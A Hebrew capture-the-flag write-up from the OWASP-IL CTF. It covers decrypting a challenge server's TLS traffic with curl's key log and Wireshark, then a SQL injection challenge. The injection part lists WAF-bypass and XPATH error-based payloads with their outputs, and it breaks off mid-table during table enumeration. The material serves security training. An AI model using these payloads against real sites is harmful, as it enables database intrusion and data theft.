```bash
root@kali:/media/sf_CTFs/owasp_il/flags# curl -v -k https://challenges.owaspil.ctf.today:8443/flags/NetherlandsAntilles-flags-cat
* Trying 52.47.109.181...
* TCP_NODELAY set
* Connected to challenges.owaspil.ctf.today (52.47.109.181) port 8443 (#0)
* ALPN, offering h2
* ALPN, offering http/1.1
* successfully set certificate verify locations:
* CAfile: none
CApath: /etc/ssl/certs
* TLSv1.2 (OUT), TLS handshake, Client hello (1):
* TLSv1.2 (IN), TLS handshake, Server hello (2):
* TLSv1.2 (IN), TLS handshake, Certificate (11):
* TLSv1.2 (IN), TLS handshake, Server key exchange (12):
* TLSv1.2 (IN), TLS handshake, Server finished (14):
* TLSv1.2 (OUT), TLS handshake, Client key exchange (16):
* TLSv1.2 (OUT), TLS change cipher, Client hello (1):
* TLSv1.2 (OUT), TLS handshake, Finished (20):
* TLSv1.2 (IN), TLS handshake, Finished (20):
* SSL connection using TLSv1.2 / ECDHE-RSA-AES128-GCM-SHA256
* ALPN, server accepted to use h2
* Server certificate:
* subject: C=AU; ST=Some-State; O=Internet Widgits Pty Ltd
* start date: May 28 10:02:02 2018 GMT
* expire date: May 28 10:02:02 2019 GMT
* issuer: C=AU; ST=Some-State; O=Internet Widgits Pty Ltd
* SSL certificate verify result: self signed certificate (18), continuing anyway.
* Using HTTP2, server supports multi-use
* Connection state changed (HTTP/2 confirmed)
* Copying HTTP/2 data in stream buffer to connection buffer after upgrade: len=0
* Using Stream ID: 1 (easy handle 0x562a5c7dea50)
> GET /flags/NetherlandsAntilles-flags-cat HTTP/2
> Host: challenges.owaspil.ctf.today:8443
> User-Agent: curl/7.61.0
> Accept: */*
>
* Connection state changed (MAX_CONCURRENT_STREAMS == 100)!
< HTTP/2 200
< content-type: text/html
< date: Mon, 24 Sep 2018 15:22:05 GMT
<
* Connection #0 to host challenges.owaspil.ctf.today left intact
Look closely.. you just received it :)
```
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=EN-US dir=LTR> </span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>שום דבר חריג לא
מופיע פה. </span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>ה-</span><span
lang=EN-US dir=LTR>Certificate</span><span dir=RTL></span><span lang=HE
style='font-family:"Arial",sans-serif'><span dir=RTL></span> שנשלח מהשרת הוא
מקום הגיוני להחביא בו מידע, לכן שמרתי אותו ועברתי עליו:</span></p>
```bash
root@kali:/media/sf_CTFs/owasp_il/flags# openssl x509 -in 1.cer -inform der -text -noout
Certificate:
Data:
Version: 1 (0x0)
Serial Number:
9c:59:56:dd:cb:cd:d0:ca
Signature Algorithm: sha256WithRSAEncryption
Issuer: C = AU, ST = Some-State, O = Internet Widgits Pty Ltd
Validity
Not Before: May 28 10:02:02 2018 GMT
Not After : May 28 10:02:02 2019 GMT
Subject: C = AU, ST = Some-State, O = Internet Widgits Pty Ltd
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
Public-Key: (1024 bit)
Modulus:
00:d5:ce:81:bf:fe:9d:77:c2:be:2c:3e:c8:cc:ec:
16:ce:cb:d3:31:8b:25:77:60:e1:e0:a0:0e:d5:c8:
e7:f2:a4:db:90:07:76:5a:cf:e6:79:4a:0e:02:3e:
d9:43:d0:77:04:ad:b3:0b:32:47:87:6c:1c:80:bb:
29:92:9f:2d:36:96:b6:ca:95:3b:9e:7e:9f:19:31:
c0:cd:3b:b4:e5:45:b8:29:d4:9a:41:bf:be:5f:1e:
cf:b3:e7:84:9e:9c:06:7c:5d:0b:39:65:5f:4e:83:
97:a6:fc:d4:52:d6:c4:5d:e4:45:c7:49:65:21:03:
8e:30:16:71:c6:63:22:f9:81
Exponent: 65537 (0x10001)
Signature Algorithm: sha256WithRSAEncryption
60:ca:89:43:2b:9c:2c:44:dc:c1:1c:64:8c:1b:3d:87:91:95:
17:e1:7d:96:67:a4:de:50:f4:f9:16:2b:86:d7:4a:db:f5:60:
ea:0f:bd:37:3b:df:ec:c1:62:9c:4f:49:ec:6c:aa:37:00:f3:
4f:a5:b0:24:a4:f1:fd:59:c8:70:c8:d0:3d:67:38:b1:03:f7:
61:e9:19:81:e1:3d:e5:81:6b:0e:dc:b2:f2:80:9e:ba:59:2c:
6b:ab:aa:a4:dc:c7:e0:80:24:aa:74:94:45:37:18:86:e6:c4:
aa:39:dd:00:cd:f5:da:46:d0:72:84:8a:1e:2f:87:83:a8:b3:
08:c1
```
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'> </span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>לא היה שום דבר
מיוחד במספר הסריאלי, או במודולו.</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>לעיתים ניתן לפצח את
המפתח הפרטי של </span><span lang=EN-US dir=LTR>RSA</span><span dir=RTL></span><span
lang=HE style='font-family:"Arial",sans-serif'><span dir=RTL></span> במידה
ונעשו טעויות ביצירתו. כלי אחד כזה הוא </span><span class=MsoHyperlink><span
lang=EN-US><a href="https://github.com/Ganapati/RsaCtfTool"><span dir=LTR>RsaCtfTool</span></a></span></span><span
dir=RTL></span><span lang=HE style='font-family:"Arial",sans-serif'><span
dir=RTL></span>, אך גם הוא לא העלה דבר.</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>מכיוון שהכיוון הזה
לא הצליח, עברתי להסתכל על התעבורה עצמה. בכל שכבה (במידת האפשר), עברתי על המידע
וחיפשתי נתונים יוצאי דופן, למשל:</span></p>
<p class=MsoListParagraphCxSpFirst dir=RTL style='margin-top:0cm;margin-right:
36.0pt;margin-bottom:8.0pt;margin-left:0cm;text-align:right;text-indent:-18.0pt;
direction:rtl;unicode-bidi:embed'><span lang=EN-US style='font-family:Symbol'>·<span
style='font:7.0pt "Times New Roman"'>
</span></span><span dir=RTL></span><span lang=HE style='font-family:"Arial",sans-serif'>מחרוזות
</span><span lang=EN-US dir=LTR>ASCII</span></p>
<p class=MsoListParagraphCxSpMiddle dir=RTL style='margin-top:0cm;margin-right:
36.0pt;margin-bottom:8.0pt;margin-left:0cm;text-align:right;text-indent:-18.0pt;
direction:rtl;unicode-bidi:embed'><span lang=EN-US style='font-family:Symbol'>·<span
style='font:7.0pt "Times New Roman"'>
</span></span><span dir=RTL></span><span lang=HE style='font-family:"Arial",sans-serif'>מידע
מוחבא בתוך שדות שמורים (</span><span lang=EN-US dir=LTR>Reserved</span><span
dir=RTL></span><span lang=HE style='font-family:"Arial",sans-serif'><span
dir=RTL></span>)</span></p>
<p class=MsoListParagraphCxSpMiddle dir=RTL style='margin-top:0cm;margin-right:
36.0pt;margin-bottom:8.0pt;margin-left:0cm;text-align:right;text-indent:-18.0pt;
direction:rtl;unicode-bidi:embed'><span lang=EN-US style='font-family:Symbol'>·<span
style='font:7.0pt "Times New Roman"'>
</span></span><span dir=RTL></span><span lang=EN-US dir=LTR>Checksum</span><span
dir=RTL></span><span lang=HE style='font-family:"Arial",sans-serif'><span
dir=RTL></span>-ים שלא מסתדרים</span></p>
<p class=MsoListParagraphCxSpLast dir=RTL style='margin-top:0cm;margin-right:
36.0pt;margin-bottom:8.0pt;margin-left:0cm;text-align:right;text-indent:-18.0pt;
direction:rtl;unicode-bidi:embed'><span lang=EN-US style='font-family:Symbol'>·<span
style='font:7.0pt "Times New Roman"'>
</span></span><span dir=RTL></span><span lang=HE style='font-family:"Arial",sans-serif'>מידע
ב-</span><span lang=EN-US dir=LTR>Sequence Number</span><span dir=RTL></span><span
lang=HE style='font-family:"Arial",sans-serif'><span dir=RTL></span> וב-</span><span
lang=EN-US dir=LTR>Ack Number</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>שום דבר לא בלט
לעין.</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'> </span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>בלית ברירה, עברתי
לכיוון שלא היה נראה לי שיש בו משהו – פענוח תעבורת ה-</span><span lang=EN-US
dir=LTR>TLS</span><span dir=RTL></span><span lang=HE style='font-family:"Arial",sans-serif'><span
dir=RTL></span>.</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>ל-</span><span
lang=EN-US dir=LTR>WireShark</span><span dir=RTL></span><span lang=HE
style='font-family:"Arial",sans-serif'><span dir=RTL></span> יש יכולת להציג את
תעבורת ה-</span><span lang=EN-US dir=LTR>TLS</span><span dir=RTL></span><span
lang=HE style='font-family:"Arial",sans-serif'><span dir=RTL></span> המפוענחת,
במידה ומספקים לו מפתח פרטי ששימש להתקשרות. עשיתי דברים כאלה בעבר כשהיה בידי
המפתח הפרטי של ה-</span><span lang=EN-US dir=LTR>Certificate</span><span
dir=RTL></span><span lang=HE style='font-family:"Arial",sans-serif'><span
dir=RTL></span> שנשלח מהשרת, אך איך עושים זאת כשאני בצד הלקוח?</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>מסתבר שקיים משתנה
סביבה בשם </span><span lang=EN-US dir=LTR>SSLKEYLOGFILE</span><span dir=RTL></span><span
lang=HE style='font-family:"Arial",sans-serif'><span dir=RTL></span> שכאשר
מגדירים אותו, כרום ופיירפוקס יתעדו את המפתחות שמשמשים להצפנת תעבורת </span><span
lang=EN-US dir=LTR>TLS</span><span dir=RTL></span><span lang=HE
style='font-family:"Arial",sans-serif'><span dir=RTL></span> בקובץ לוג מיוחד.
ואפילו יותר טוב – </span><span lang=EN-US dir=LTR>WireShark</span><span
dir=RTL></span><span lang=HE style='font-family:"Arial",sans-serif'><span
dir=RTL></span> יודע להסתדר עם הפורמט של הקובץ הזה. מצוין, לא? ובכן, גם זה לא
עבד, וברשת אפשר למצוא המון מידע על כך שהתמיכה הוסרה, והוחזרה, ועובדת רק ב-</span><span
lang=EN-US dir=LTR>Builds</span><span dir=RTL></span><span lang=EN-US
style='font-family:"Arial",sans-serif'><span dir=RTL></span> </span><span
lang=HE style='font-family:"Arial",sans-serif'>מסוימים, או שלא, ובקיצור – נראה
כמו מבוי סתום. עד שלפתע מתברר שגם </span><span class=MsoHyperlink><span
lang=EN-US><a href="https://ec.haxx.se/tls-sslkeylogfile.html"><span dir=LTR>cURL</span><span
dir=RTL></span><span lang=HE style='font-family:"Arial",sans-serif'><span
dir=RTL></span> תומך באפשרות הזו</span></a></span></span><span lang=HE
style='font-family:"Arial",sans-serif'>(!) והחיים חוזרים להיות פשוטים.</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>לאחר הגדרת הקובץ
במקום המתאים ב-</span><span lang=EN-US dir=LTR>WireShark</span><span dir=RTL></span><span
lang=HE style='font-family:"Arial",sans-serif'><span dir=RTL></span>, אנחנו
נחשפים לתעבורת ה-</span><span lang=EN-US dir=LTR>TLS</span><span dir=RTL></span><span
lang=HE style='font-family:"Arial",sans-serif'><span dir=RTL></span> המפוענחת.</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>ומי מחכה שם אם לא
הדגל, במספר טאבים של </span><span lang=EN-US dir=LTR>Decrypted SSL</span><span
dir=RTL></span><span lang=HE style='font-family:"Arial",sans-serif'><span
dir=RTL></span> בתחתית המסך:</span></p>
<p class=MsoNormal dir=RTL style='text-align:center;direction:rtl;unicode-bidi:
embed'><span lang=en-IL align=center dir=LTR><img border=0 width=602 height=180
id="Picture 48" src="images/image049.jpg"></span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>הדגל:</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><b><span lang=EN-US dir=LTR>OWASP-IL{This_is_the_real_flag}</span></b></p>
<b><span lang=EN-US style='font-size:11.0pt;line-height:107%;font-family:"Calibri",sans-serif'><br
clear=all style='page-break-before:always'>
</span></b>
<p class=MsoNormal><b><span lang=EN-US> </span></b></p>
<h2 dir=RTL style='text-align:right;direction:rtl;unicode-bidi:embed'><span
lang=HE style='font-family:"Times New Roman",serif'>אתגר 15 </span><span
lang=HE style='font-family:"Arial",sans-serif'>–</span><span lang=HE
style='font-family:"Times New Roman",serif'> </span><span lang=EN-US dir=LTR>Alcatraz</span><span
dir=RTL></span><span lang=HE style='font-family:"Times New Roman",serif'><span
dir=RTL></span> (רמת קושי קשה, 850 נקודות)</span></h2>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'> </span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>הוראות האתגר:</span></p>
<p><span lang=en-IL>Hi,<br>
I am <strong>Frank Morris</strong>,<br>
I need your help to escape prison,<br>
I heared it's very easy for you and I hope it will be the case this time,<br>
Please get the Alcatraz administrator password from their website and I will
pay you well.</span></p>
<p><span lang=en-IL>URL: <span class=MsoHyperlink><b><a
href="http://challenges.owaspil.ctf.today:8081/">http://challenges.owaspil.ctf.today:8081/</a></b></span></span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>פתרון:</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>הקישור מביא אותנו אל
האתר הבא:</span></p>
<p class=MsoNormal align=center dir=RTL style='text-align:center;direction:
rtl;unicode-bidi:embed'><span lang=en-IL dir=LTR><img border=0 width=393
height=206 id="Picture 49" src="images/image050.jpg"></span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>הכתובת משתנה בהתאם
ל:</span></p>
<p class=MsoNormal><span class=MsoHyperlink><span lang=en-IL><a
href="http://challenges.owaspil.ctf.today:8081/profile.php?id=1">http://challenges.owaspil.ctf.today:8081/profile.php?id=1</a></span></span></p>
<p class=MsoNormal dir=RTL style='margin-right:36.0pt;text-align:right;
text-indent:-36.0pt;direction:rtl;unicode-bidi:embed'><span lang=HE
style='font-family:"Arial",sans-serif'>ניתן לשנות את המזהה (עד ל-25) ולקבל
עובדים נוספים, אחרת מקבלים הודעת שגיאה:</span></p>
<p class=MsoNormal align=right dir=RTL style='margin-right:36.0pt;text-align:
left;text-indent:-36.0pt;direction:rtl;unicode-bidi:embed'><span lang=en-IL
dir=LTR>Error: employee not found</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>אם ננסה להכניס קלט
לא חוקי, כמו למשל "</span><span lang=HE style='font-family:"Arial",sans-serif'>%"
או "*", נקבל הודעת שגיאה אחרת:</span></p>
<p class=MsoNormal align=right dir=RTL style='text-align:left;direction:rtl;
unicode-bidi:embed'><span lang=en-IL dir=LTR>Security error: Blocked by the Web
Application Firewall</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>ואם נמשיך לנסות עם
גרש ('), נקבל את קצה החוט שחיפשנו:</span></p>
<p class=MsoNormal><span lang=en-IL>SQL error: You have an error in your SQL
syntax; check the manual that corresponds to your MariaDB server version for
the right syntax to use near '\' LIMIT 1' at line 1</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'> </span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>הצעד המתבקש הבא הוא
לנסות תוכנה אוטומטית לניצול פרצות </span><span lang=EN-US dir=LTR>SQL Injection</span><span
dir=RTL></span><span lang=HE style='font-family:"Arial",sans-serif'><span
dir=RTL></span> על האתר, למשל </span><span lang=EN-US dir=LTR>SQLMap</span><span
dir=RTL></span><span lang=HE style='font-family:"Arial",sans-serif'><span
dir=RTL></span>.</span></p>
<p class=MsoNormal dir=RTL align=center style='text-align:center;direction:rtl;unicode-bidi:
embed'><span lang=en-IL dir=LTR><img border=0 width=570 height=260
id="Picture 50" src="images/image051.jpg"></span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>הכלי מזהה שקיימת
חולשה אך לא מצליח לנצל אותה, כנראה בגלל ה-</span><span lang=en-IL dir=LTR>WAF</span><span
dir=RTL></span><span lang=HE style='font-family:"Arial",sans-serif'><span
dir=RTL></span> (לאחר ההודעה הצבועה באדום מגיעים אינספור ניסיונות אך כולם
נכשלים). אנחנו לבד.</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>בטבלה הבאה אפשר
לראות מספר ניסיונות ידניים ואת הפלט שלהם:</span></p>
<table class=MsoTableGrid border=0 cellspacing=0 cellpadding=0 dir=ltr width="100%"
style='border-collapse:collapse;border:none;width:100%;'>
<tr>
<td width=301 valign=top style='width:225.4pt;border:solid windowtext 1.0pt;
padding:0cm 5.4pt 0cm 5.4pt'>
<p class=MsoNormal style='margin-bottom:0cm;margin-bottom:.0001pt;line-height:
normal'><span lang=EN-US>Input</span></p>
</td>
<td width=301 valign=top style='width:225.4pt;border:solid windowtext 1.0pt;
border-left:none;padding:0cm 5.4pt 0cm 5.4pt'>
<p class=MsoNormal style='margin-bottom:0cm;margin-bottom:.0001pt;line-height:
normal'><span lang=EN-US>Output</span></p>
</td>
</tr>
<tr>
<td width=301 valign=top style='width:225.4pt;border:solid windowtext 1.0pt;
border-top:none;padding:0cm 5.4pt 0cm 5.4pt'>
<p class=MsoNormal style='margin-bottom:0cm;margin-bottom:.0001pt;line-height:
normal'><span lang=en-IL>'</span></p>
</td>
<td width=301 valign=top style='width:225.4pt;border-top:none;border-left:
none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
padding:0cm 5.4pt 0cm 5.4pt'>
<p class=MsoNormal style='margin-bottom:0cm;margin-bottom:.0001pt;line-height:
normal'><span lang=en-IL>SQL error: You have an error in your SQL syntax;
check the manual that corresponds to your MariaDB server version for the
right syntax to use near '\' LIMIT 1' at line 1</span></p>
</td>
</tr>
<tr>
<td width=301 valign=top style='width:225.4pt;border:solid windowtext 1.0pt;
border-top:none;padding:0cm 5.4pt 0cm 5.4pt'>
<p class=MsoNormal style='margin-bottom:0cm;margin-bottom:.0001pt;line-height:
normal'><span lang=EN-US>a</span></p>
</td>
<td width=301 valign=top style='width:225.4pt;border-top:none;border-left:
none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
padding:0cm 5.4pt 0cm 5.4pt'>
<p class=MsoNormal style='margin-bottom:0cm;margin-bottom:.0001pt;line-height:
normal'><span lang=en-IL>SQL error: Unknown column 'a' in 'where clause'</span></p>
</td>
</tr>
<tr>
<td width=301 valign=top style='width:225.4pt;border:solid windowtext 1.0pt;
border-top:none;padding:0cm 5.4pt 0cm 5.4pt'>
<p class=MsoNormal style='margin-bottom:0cm;margin-bottom:.0001pt;line-height:
normal'><span lang=EN-US>1 or 1=1--</span></p>
</td>
<td width=301 valign=top style='width:225.4pt;border-top:none;border-left:
none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
padding:0cm 5.4pt 0cm 5.4pt'>
<p class=MsoNormal style='margin-bottom:0cm;margin-bottom:.0001pt;line-height:
normal'><span lang=en-IL>Security error: Blocked by the Web Application
Firewall</span></p>
</td>
</tr>
<tr>
<td width=301 valign=top style='width:225.4pt;border:solid windowtext 1.0pt;
border-top:none;padding:0cm 5.4pt 0cm 5.4pt'>
<p class=MsoNormal style='margin-bottom:0cm;margin-bottom:.0001pt;line-height:
normal'><span lang=EN-US>and</span></p>
</td>
<td width=301 valign=top style='width:225.4pt;border-top:none;border-left:
none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
padding:0cm 5.4pt 0cm 5.4pt'>
<p class=MsoNormal style='margin-bottom:0cm;margin-bottom:.0001pt;line-height:
normal'><span lang=en-IL>SQL error: You have an error in your SQL syntax;
check the manual that corresponds to your MariaDB server version for the
right syntax to use near 'and LIMIT 1' at line 1</span></p>
</td>
</tr>
<tr>
<td width=301 valign=top style='width:225.4pt;border:solid windowtext 1.0pt;
border-top:none;padding:0cm 5.4pt 0cm 5.4pt'>
<p class=MsoNormal style='margin-bottom:0cm;margin-bottom:.0001pt;line-height:
normal'><span lang=EN-US>email</span></p>
</td>
<td width=301 valign=top style='width:225.4pt;border-top:none;border-left:
none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
padding:0cm 5.4pt 0cm 5.4pt'>
<p class=MsoNormal style='margin-bottom:0cm;margin-bottom:.0001pt;line-height:
normal'><span lang=en-IL>Error: employee not found</span></p>
</td>
</tr>
</table>
<p class=MsoNormal><span lang=EN-US> </span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>מכאן היה נראה
שהשאילתא היא:</span></p>
<p class=MsoNormal><span lang=EN-US>WHERE id = $id</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>ולא:</span></p>
<p class=MsoNormal><span lang=EN-US>WHERE id = ‘$id’</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>חזרה לגוגל, בחיפוש
אחרי </span><span lang=EN-US dir=LTR>WAF Bypass</span><span dir=RTL></span><span
lang=HE style='font-family:"Arial",sans-serif'><span dir=RTL></span>. אחת
התוצאות הראשונות היא </span><span class=MsoHyperlink><span lang=EN-US><a
href="https://github.com/Xyntax/waf-bypass/blob/master/payload/sql.txt"><span
lang=HE style='font-family:"Arial",sans-serif'>זו</span></a></span></span><span
lang=HE style='font-family:"Arial",sans-serif'>, עם כמעט 200 שורות שכדאי לנסות.</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>כתבתי סקריפט קצר
שינסה את כולן, וידפיס את אלו שלא מחזירות שגיאת </span><span lang=EN-US dir=LTR>WAF</span><span
dir=RTL></span><span lang=HE style='font-family:"Arial",sans-serif'><span
dir=RTL></span> (עבור שאילתות שהתחילו עם גרש, הסרתי את הגרש בעקבות ההנחה לעיל).</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=EN-US dir=LTR> </span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=EN-US dir=LTR> </span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=EN-US dir=LTR> </span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>התוצאות הבולטות
היו:</span></p>
```
--------------------
and(true)like(false)union(select(pass)from(users))#
SQL error: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'and(true)like(false)union(select(pass)from(users)) LIMIT 1' at line 1
--------------------
extractvalue(rand(0),concat(0x0a,version()))
SQL error: XPATH syntax error: '
10.3.9-MariaDB-1:10.3.9+maria~b'
--------------------
extractvalue(floor(0),concat(0x0a,version()))
SQL error: XPATH syntax error: '
10.3.9-MariaDB-1:10.3.9+maria~b'
--------------------
extractvalue(rand(0),concat(0x0a,unhex(hex(user()))))
SQL error: XPATH syntax error: '
OWASP_IL@172.18.0.2'
--------------------
extractvalue(floor(0),concat(0x0a,unhex(hex(user()))))
SQL error: XPATH syntax error: '
OWASP_IL@172.18.0.2'
--------------------
updatexml(1,repeat(user(),2),1)
SQL error: XPATH syntax error: '@172.18.0.2OWASP_IL@172.18.0.2'
--------------------
updatexml(0,concat(0xa,user()),0)
SQL error: XPATH syntax error: '
OWASP_IL@172.18.0.2'
--------------------
```
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>אפשר לראות שני
דברים מעניינים:</span></p>
<p class=MsoListParagraphCxSpFirst dir=RTL style='margin-top:0cm;margin-right:
36.0pt;margin-bottom:8.0pt;margin-left:0cm;text-align:right;text-indent:-18.0pt;
direction:rtl;unicode-bidi:embed'><span lang=en-IL>1.<span style='font:7.0pt "Times New Roman"'>
</span></span><span dir=RTL></span><span lang=HE style='font-family:"Arial",sans-serif'>השאילתא
שהשתמשה בסוגריים במקום ברווחים הצליחה לעבור את ה-</span><span lang=en-IL
dir=LTR>WAF</span></p>
<p class=MsoListParagraphCxSpLast dir=RTL style='margin-top:0cm;margin-right:
36.0pt;margin-bottom:8.0pt;margin-left:0cm;text-align:right;text-indent:-18.0pt;
direction:rtl;unicode-bidi:embed'><span lang=en-IL>2.<span style='font:7.0pt "Times New Roman"'>
</span></span><span dir=RTL></span><span lang=HE style='font-family:"Arial",sans-serif'>השאילתות
של </span><span lang=en-IL dir=LTR>XPATH</span><span dir=RTL></span><span
lang=HE style='font-family:"Arial",sans-serif'><span dir=RTL></span> הצליחו
להוציא מחרוזות מהשרת</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>ניקח את המידע הזה
וננסה לשלב בין שתי השיטות:</span></p>
<table class=MsoTableGrid border=0 cellspacing=0 cellpadding=0 dir=ltr width="100%"
style='border-collapse:collapse;border:none;width:100%;'>
<tr>
<td width=302 valign=top style='width:226.55pt;border:solid windowtext 1.0pt;
padding:0cm 5.4pt 0cm 5.4pt'>
<p class=MsoNormal style='margin-bottom:0cm;margin-bottom:.0001pt;line-height:
normal'><span lang=EN-US>Input</span></p>
</td>
<td width=161 valign=top style='width:120.5pt;border:solid windowtext 1.0pt;
border-left:none;padding:0cm 5.4pt 0cm 5.4pt'>
<p class=MsoNormal style='margin-bottom:0cm;margin-bottom:.0001pt;line-height:
normal'><span lang=EN-US>Output</span></p>
</td>
<td width=138 valign=top style='width:103.75pt;border:solid windowtext 1.0pt;
border-left:none;padding:0cm 5.4pt 0cm 5.4pt'>
<p class=MsoNormal style='margin-bottom:0cm;margin-bottom:.0001pt;line-height:
normal'><span lang=EN-US>Comment</span></p>
</td>
</tr>
<tr>
<td width=302 valign=top style='width:226.55pt;border:solid windowtext 1.0pt;
border-top:none;padding:0cm 5.4pt 0cm 5.4pt'>
<p class=MsoNormal style='margin-bottom:0cm;margin-bottom:.0001pt;line-height:
normal'><span lang=EN-US>1and(true)like(false)union(select(id)from(test))</span></p>
</td>
<td width=161 valign=top style='width:120.5pt;border-top:none;border-left:
none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
padding:0cm 5.4pt 0cm 5.4pt'>
<p class=MsoNormal style='margin-bottom:0cm;margin-bottom:.0001pt;line-height:
normal'><span lang=EN-US>SQL error: Table 'OWASP_IL.test' doesn't exist</span></p>
</td>
<td width=138 valign=top style='width:103.75pt;border-top:none;border-left:
none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
padding:0cm 5.4pt 0cm 5.4pt'>
<p class=MsoNormal style='margin-bottom:0cm;margin-bottom:.0001pt;line-height:
normal'><span lang=EN-US>We can guess table names</span></p>
</td>
</tr>
<tr>
<td width=302 valign=top style='width:226.55pt;border:solid windowtext 1.0pt;
border-top:none;padding:0cm 5.4pt 0cm 5.4pt'>
<p class=MsoNormal style='margin-bottom:0cm;margin-bottom:.0001pt;line-height:
normal'><span lang=EN-US>1and(true)like(false)union(select(id)from(employees))</span></p>
</td>
<td width=161 valign=top style='width:120.5pt;border-top:none;border-left:
none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
padding:0cm 5.4pt 0cm 5.4pt'>
<p class=MsoNormal style='margin-bottom:0cm;margin-bottom:.0001pt;line-height:
normal'><span lang=EN-US>SQL error: FUNCTION OWASP_IL.1and does not exist</span></p>
</td>
<td width=138 valign=top style='width:103.75pt;border-top:none;border-left:
none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
padding:0cm 5.4pt 0cm 5.4pt'>
<p class=MsoNormal style='margin-bottom:0cm;margin-bottom:.0001pt;line-height:
normal'><span lang=EN-US>Table is called “employees”</span></p>
</td>
</tr>
<tr>
<td width=302 valign=top style='width:226.55pt;border:solid windowtext 1.0pt;
border-top:none;padding:0cm 5.4pt 0cm 5.4pt'>
